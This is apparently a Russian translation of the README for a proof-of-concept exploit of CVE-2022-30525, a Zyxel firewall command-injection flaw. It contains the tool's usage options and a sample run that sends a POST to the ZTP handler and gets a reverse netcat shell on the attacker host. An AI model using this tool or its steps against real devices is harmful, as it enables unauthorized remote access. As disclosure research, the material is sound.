
Эксплойт для проверки концепции для CVE-2022-30525 (внедрение команд в брандмауэре Zxyel)
Victorian Machinery — это доказательство концепции эксплуатации уязвимости CVE-2022-30525. Уязвимость представляет собой неаутентифицированную удалённую инъекцию команд, затрагивающую брандмауэры Zyxel, поддерживающие функцию zero touch provisioning. Компания Zyxel выпустила исправление этой проблемы 28 апреля 2022 года. Известно, что уязвимы следующие модели:
На момент написания статьи на Shodan было видно более 16 000 затронутых устройств. Открытый веб-интерфейс управления не является настройкой по умолчанию, что подразумевает гораздо большее количество затронутых систем, не подключённых к интернету. Эти системы также поддерживают автоматическое обновление (не включено по умолчанию), так что хорошая часть устройств уже исправлена.
Victorian Machinery эксплуатирует цель и получает обратную оболочку с помощью форкнутого слушателя nc. Тестировалось на Ubuntu 20.04. PoC по умолчанию пытается выполнить /usr/bin/nc. Если ваш nc находится в другом месте, необходимо обновить параметр . Полное меню помощи см. ниже:
nc-pathalbinolobster@ubuntu:~/victorian_machinery$ python3 victorian_machinery.py --help
$$\ $$\ $$\ $$\ $$\
$$ | $$ |\__| $$ | \__|
$$ | $$ |$$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\ $$\ $$$$$$\ $$$$$$$\
\$$\ $$ |$$ |$$ _____|\_$$ _| $$ __$$\ $$ __$$\ $$ | \____$$\ $$ __$$\
\$$\$$ / $$ |$$ / $$ | $$ / $$ |$$ | \__|$$ | $$$$$$$ |$$ | $$ |
\$$$ / $$ |$$ | $$ |$$\ $$ | $$ |$$ | $$ |$$ __$$ |$$ | $$ |
\$ / $$ |\$$$$$$$\ \$$$$ |\$$$$$$ |$$ | $$ |\$$$$$$$ |$$ | $$ |
$$\ \_/ $$\__| \_______| \____$$\______$$\__| \__| \_______|\__| \__|
$$$\ $$$ | $$ | \__|
$$$$\ $$$$ | $$$$$$\ $$$$$$$\ $$$$$$$\ $$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$\ $$\
$$\$$\$$ $$ | \____$$\ $$ _____|$$ __$$\ $$ |$$ __$$\ $$ __$$\ $$ __$$\ $$ | $$ |
$$ \$$$ $$ | $$$$$$$ |$$ / $$ | $$ |$$ |$$ | $$ |$$$$$$$$ |$$ | \__|$$ | $$ |
$$ |\$ /$$ |$$ __$$ |$$ | $$ | $$ |$$ |$$ | $$ |$$ ____|$$ | $$ | $$ |
$$ | \_/ $$ |\$$$$$$$ |\$$$$$$$\ $$ | $$ |$$ |$$ | $$ |\$$$$$$$\ $$ | \$$$$$$$ |
\__| \__| \_______| \_______|\__| \__|\__|\__| \__| \_______|\__| \____$$ |
$$\ $$ |
⚙ jbaines-r7 \$$$$$$ |
CVE-2022-30525 \______/
🦞
usage: victorian_machinery.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST [--lport LPORT] [--protocol PROTOCOL] [--nc-path NCPATH]
Zyxel Firewall Command Injection (CVE-2022-30525)
optional arguments:
-h, --help показать это справочное сообщение и выйти
--rhost RHOST удалённый адрес для эксплуатации
--rport RPORT удалённый порт для эксплуатации
--lhost LHOST локальный адрес для обратного подключения
--lport LPORT локальный порт для обратного подключения
--protocol PROTOCOL используемый обработчик протокола
--nc-path NCPATH путь к nc
albinolobster@ubuntu:~/victorian_machinery$ python3 victorian_machinery.py --rhost 10.0.0.14 --lhost 10.0.0.28
$$\ $$\ $$\ $$\ $$\
$$ | $$ |\__| $$ | \__|
$$ | $$ |$$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\ $$\ $$$$$$\ $$$$$$$\
\$$\ $$ |$$ |$$ _____|\_$$ _| $$ __$$\ $$ __$$\ $$ | \____$$\ $$ __$$\
\$$\$$ / $$ |$$ / $$ | $$ / $$ |$$ | \__|$$ | $$$$$$$ |$$ | $$ |
\$$$ / $$ |$$ | $$ |$$\ $$ | $$ |$$ | $$ |$$ __$$ |$$ | $$ |
\$ / $$ |\$$$$$$$\ \$$$$ |\$$$$$$ |$$ | $$ |\$$$$$$$ |$$ | $$ |
$$\ \_/ $$\__| \_______| \____$$\______$$\__| \__| \_______|\__| \__|
$$$\ $$$ | $$ | \__|
$$$$\ $$$$ | $$$$$$\ $$$$$$$\ $$$$$$$\ $$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$\ $$\
$$\$$\$$ $$ | \____$$\ $$ _____|$$ __$$\ $$ |$$ __$$\ $$ __$$\ $$ __$$\ $$ | $$ |
$$ \$$$ $$ | $$$$$$$ |$$ / $$ | $$ |$$ |$$ | $$ |$$$$$$$$ |$$ | \__|$$ | $$ |
$$ |\$ /$$ |$$ __$$ |$$ | $$ | $$ |$$ |$$ | $$ |$$ ____|$$ | $$ | $$ |
$$ | \_/ $$ |\$$$$$$$ |\$$$$$$$\ $$ | $$ |$$ |$$ | $$ |\$$$$$$$\ $$ | \$$$$$$$ |
\__| \__| \_______| \_______|\__| \__|\__|\__| \__| \_______|\__| \____$$ |
$$\ $$ |
⚙ jbaines-r7 \$$$$$$ |
CVE-2022-30525 \______/
🦞
[+] Запуск слушателя netcat
[+] Используется /usr/bin/nc
Слушаем на 0.0.0.0 порт 1270
[+] Отправка POST-запроса на https://10.0.0.14:443/ztp/cgi-bin/handler
Получено соединение с 10.0.0.14 порт 43957
bash: невозможно установить группу терминального процесса (10800): неуместный ioctl для устройства
bash: нет управления заданиями в этой оболочке
bash-5.1$ id
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)